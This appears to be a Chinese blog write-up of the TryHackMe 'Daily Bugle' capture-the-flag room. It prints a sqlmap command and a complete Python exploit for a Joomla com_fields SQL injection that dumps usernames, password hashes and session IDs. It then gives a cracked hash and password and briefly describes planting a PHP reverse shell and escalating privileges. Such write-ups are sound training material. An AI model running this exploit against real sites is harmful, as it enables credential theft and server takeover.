📌 目录

    【THM】Daily Bugle

    Daily Bugle

    信息收集

    image-20250403092035614

    可以在如图所示路径找到版本信息

    去exploit db找到可利用漏洞image-20250403092151015

    使用以下exp

    sqlmap -u "http://10.10.161.57/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
    

    但是太慢,我们这里用python脚本

    #!/usr/bin/python
    from __future__ import print_function
    import requests
    import sys
    import re
    import argparse
    import os
    import random
    import time
    import binascii
    
    
    def extract_token(resp):
    	match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    	if match is None:
    		print(" [!] Cannot find CSRF token")
    		return None
    	return match.group(1)
    
    
    def parse_options():
    	parser = argparse.ArgumentParser(description='Jooma Exploit')
    	parser.add_argument('url', help='Base URL for Joomla site')
    	return parser.parse_args()
    
    
    def build_sqli(colname, morequery):
    	return "(SELECT " + colname + " " + morequery + ")"
    
    def joomla_370_sqli_extract(options, sess, token, colname, morequery):
    	sqli = build_sqli("LENGTH("+colname+")", morequery)
    	length = joomla_370_sqli(options, sess, token, sqli)
    	if not length:
    		return None
    	length = int(length)
    	maxbytes = 30
    	offset = 0
    	result = ''
    	while length > offset:
    		sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery)
    		value = joomla_370_sqli(options, sess, token, sqli)
    		if not value:
    			print(" [!] Failed to retrieve string for query:", sqli)
    			return None
    		value = binascii.unhexlify(value)
    		result += value
    		offset += len(value)
    	return result
    
    
    def joomla_370_sqli(options, sess, token, sqli):
    	sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)"
    	data = {
    		'option': 'com_fields',
    		'view': 'fields',
    		'layout': 'modal',
    		'list[fullordering]': sqli_full,
    		token: '1',
    	}
    	resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False)
    	match = re.search(r'XPATH syntax error:\s*&#039;([^$\n]+)\s*&#039;\s*</bl', resp.text, re.S)
    	if match:
    		match = match.group(1).strip()
    		if match[0] != ':' and match[-1] != ':':
    			return None
    		return match[1:-1]
    
    
    def extract_joomla_tables(options, sess, token):
    	tables = list()
    	first = False
    	offset = 0
    	while True:
    		result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
    		if result is None:
    			if first:
    				print("[!] Failed to retrieve first table name!")
    				return False
    			break
    		tables.append(result)
    		print("  -  Found table:", result)
    		first = False
    		offset += 1
    	return tables
    
    
    def extract_joomla_users(options, sess, token, table_name):
    	users = list()
    	offset = 0
    	first = False
    	print("  -  Extracting users from", table_name)
    	while True:
    		result = joomla_370_sqli_extract(options, sess, token, "CONCAT(id,0x7c,name,0x7c,username,0x7c,email,0x7c,password,0x7c,otpKey,0x7c,otep)", "FROM %s ORDER BY registerDate ASC LIMIT %d,1" % (table_name, offset) )		
    		if result is None:
    			if first:
    				print("[!] Failed to retrieve user from table!")
    				return False
    			break
    		result = result.split('|')
    		print(" [$] Found user",result)
    		first = False
    		offset += 1
    		users.append(result)
    	return users
    
    
    
    
    def extract_joomla_sessions(options, sess, token, table_name):
    	sessions = list()
    	offset = 0
    	first = False
    	print("  -  Extracting sessions from", table_name)
    	while True:
    		result = joomla_370_sqli_extract(options, sess, token, "CONCAT(userid,0x7c,session_id,0x7c,username)", "FROM %s WHERE guest = 0 LIMIT %d,1" % (table_name, offset) )		
    		if result is None:
    			if first:
    				print("[!] Failed to retrieve session from table!")
    				return False
    			break
    		result = result.split('|')
    		print(" [$] Found session", result)
    		first = False
    		offset += 1
    		sessions.append(result)
    	return sessions
    
    
    
    
    def pwn_joomla_again(options):
    	sess = requests.Session()
    
    	print(" [-] Fetching CSRF token")
    	resp = sess.get(options.url + "/index.php/component/users/?view=login")	
    	token = extract_token(resp)
    	if not token:
    		return False
    
    	# Verify that we can perform SQLi
    	print(" [-] Testing SQLi")	
    	result = joomla_370_sqli(options, sess, token, "128+127")	
    	if result != "255":
    		print(" [!] Could not find SQLi output!")
    		return False
    
    	tables = extract_joomla_tables(options, sess, token)
    
    	for table_name in tables:
    		table_prefix = table_name[:-5]
    		extract_joomla_users(options, sess, token, table_name)
    		extract_joomla_sessions(options, sess, token, table_prefix + 'session')
    
    	return True
    
    def print_logo():
    	clear = "\x1b[0m"
    	colors = [31, 32, 33, 34, 35, 36]
    
    	logo = """                                                                                                                    
        .---.    .-'''-.        .-'''-.                                                           
        |   |   '   _    \     '   _    \                            .---.                        
        '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .           
        .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|           
        |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |           
        |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |           
        |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.    
        |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \   
        |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |   
        |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |   
     __.'   '                                              |/\'..' / '---'/ /   | |_| |     | |   
    |      '                                               '  `'-'`       \ \._,\ '/| '.    | '.  
    |____.'                                                                `--'  `" '---'   '---' 
    """
    	for line in logo.split("\n"):
    		sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
    		#time.sleep(0.05)
    
    def main(base_url):	
    	options = parse_options()
    	options.url = options.url.rstrip('/')
    	print_logo()
    	pwn_joomla_again(options)
    
    if __name__ == "__main__":
    	sys.exit(main("http://192.168.10.100:8080/joomla"))
    

    image-20250403112736354

    获得用户名jonah和密码哈希$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm,我们需要去查看该哈希类型再利用john破解

    image-20250403120825883

    得到密码spiderman123。

    获取shell

    登陆后台,去往下图所示网址,对模板的index.php页面进行修改,插入php反向shell,记得在攻击机监听,获取反向shellimage-20250403123753317

    image-20250403123939969image-20250403123947096

    这个身份的权限连home下的文件夹都进不去,我们转到/var/www/html,查看web-config.txt,无果,查看configuration.php,发现有个passwd

    image-20250403124402677

    但好像此root非彼root,改密码其实是jjameson的密码

    image-20250403124654521

    image-20250403124719858

    提权

    image-20250403125012810

    image-20250403125125673

    image-20250403130116755

    由于目标没有fpm命令,我们选择第二种方式,成功提权

    image-20250403130152079

    image-20250403130221636image-20250403130256741

    posted @ 2025-04-03 14:02  羽弥YUMI  阅读(24)  评论(0)    收藏  举报